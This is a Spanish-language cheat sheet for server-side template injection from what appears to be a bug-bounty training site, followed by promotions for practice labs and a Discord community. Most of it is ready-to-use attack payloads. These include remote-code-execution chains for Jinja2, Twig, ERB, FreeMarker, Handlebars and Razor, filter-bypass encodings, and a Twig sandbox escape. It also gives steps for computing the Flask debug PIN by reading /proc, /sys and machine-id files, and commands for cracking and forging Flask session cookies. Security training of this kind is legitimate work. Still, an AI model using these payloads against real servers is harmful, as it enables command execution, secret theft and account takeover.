Cheatsheet SSTI

Server-Side Template Injection

Referencia rápida

  • →El arbol de decision: {{7*7}}=49? -> {{7*"7"}}=7777777 (Jinja2) o 49 (Twig)
  • →Buscar SSTI en: generadores de PDF/email, sistemas de plantillas admin, respuestas de error personalizadas
  • →Para Jinja2 con filtros estrictos, usar hex encoding (\x5f) o chr() para evitar _ y comillas
  • →Twig sandbox escape: sort("call_user_func") permite RCE incluso en modo sandboxed
  • →Si Flask tiene debug mode habilitado, calcular el PIN con datos de /proc y /sys

Deteccion y fingerprinting

Fuzzing inicial

${{<%[%'"}}%\

Test matematico Jinja2/TwigSi devuelve 49, es Jinja2 o Twig

{{7*7}}

Distinguir Jinja2 de TwigJinja2 devuelve 7777777, Twig devuelve 49

{{7*'7'}}

Test FreeMarkerSi devuelve 49, es FreeMarker (Java)

${7*7}

Test ERB (Ruby)Si devuelve 49, es ERB

<%= 7*7 %>

Test Razor (.NET)Si devuelve 49, es Razor

@(7*7)

Test Smarty/Mako

${7*7}

Test DjangoSi muestra debug info, es Django

{% debug %}

Jinja2 (Python) - RCE

One-shot RCE via request

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

RCE via subclass chain

{{''.__class__.__mro__[1].__subclasses__()[400]('whoami',shell=True,stdout=-1).communicate()}}

Config y secrets

{{config.items()}}

Django SECRET_KEY

{{settings.SECRET_KEY}}

Filter bypass (hex encoding)Bypass cuando _ esta filtrado

{{request|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")}}

Quote-free (chr encoding)

{{''.__class__.__mro__[1].__subclasses__()[396](chr(105)+chr(100),shell=True,stdout=-1).communicate()[0].strip()}}

Otros motores - RCE

ERB (Ruby) - system

<%= system("whoami") %>

ERB - backticks

<%= `ls /` %>

FreeMarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Twig sandbox escapesort() acepta callback -> call_user_func("system", "id")

{{ ['system','id'] | sort('call_user_func') }}

Handlebars (JS)

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Razor (.NET) - Process

@{var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c whoami";
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
var output = proc.StandardOutput.ReadToEnd();}@output

Flask/Werkzeug Debug PIN

Calcular PIN con LFI

Leer:
1. /proc/self/environ (username del proceso)
2. /sys/class/net/eth0/address (MAC en decimal)
3. /etc/machine-id o /proc/sys/kernel/random/boot_id
4. Path a flask/app.py (del traceback)
Calcular: SHA1(public_bits + private_bits) -> PIN

Flask session forgeryCrackear secret key de la session Flask

flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJ...'

Forjar session

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123'

Herramientas

SSTImap

Herramienta automatizada de deteccion y explotacion de SSTI multi-engine

python3 sstimap.py -u 'https://target.com/?param=test' --os-cmd 'id'

tplmap

Alternativa a SSTImap con soporte para multiples motores de template

python3 tplmap.py -u 'https://target.com/?name=test' --os-cmd 'id'

fenjing

Generador automatico de payloads Jinja2 con bypass de filtros

python3 -c "from fenjing import exec_cmd_payload; ..."

flask-unsign

Crackear y forjar session cookies de Flask

flask-unsign --unsign --cookie 'eyJ...' --wordlist rockyou.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.